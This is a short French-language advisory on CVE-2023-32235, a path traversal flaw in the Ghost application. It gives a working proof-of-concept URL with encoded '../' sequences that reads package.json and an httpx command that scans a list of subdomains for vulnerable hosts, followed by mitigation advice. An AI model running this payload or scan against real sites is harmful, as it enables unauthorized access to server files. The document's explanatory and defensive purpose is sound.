
Une attaque de type Directory Traversal (également connue sous le nom de path traversal) vise à accéder à des fichiers et des répertoires stockés en dehors du dossier prévu.
L'application Ghost est vulnérable à une vulnérabilité de traversée de chemin, identifiée sous le nom de CVE-2023-32235. Cette vulnérabilité permet à un attaquant d'accéder à des fichiers sensibles en dehors du répertoire prévu en manipulant le chemin du fichier "package.json".
La preuve de concept suivante démontre la vulnérabilité de traversée de chemin : {{base-uri}}/assets/built%2F..%2F..%2F/package.json
httpx :
httpx -l subs.txt -path "/assets/built%2F..%2F..%2F/package.json" -status-code -mc 200L'exploitation réussie de cette vulnérabilité peut conduire à un accès non autorisé à des fichiers sensibles sur le serveur cible. Cela pourrait potentiellement exposer des informations confidentielles, compromettre la vie privée des utilisateurs et nuire à la sécurité de l'application concernée.
Pour atténuer cette vulnérabilité, il est recommandé de mettre en œuvre une validation stricte des entrées et de nettoyer les données fournies par l'utilisateur lors du traitement des chemins de fichiers. Les développeurs devraient éviter d'accepter directement les entrées utilisateur pour les chemins de fichiers et plutôt utiliser des alternatives sûres comme la liste blanche des chemins acceptables ou l'utilisation de bibliothèques axées sur la sécurité.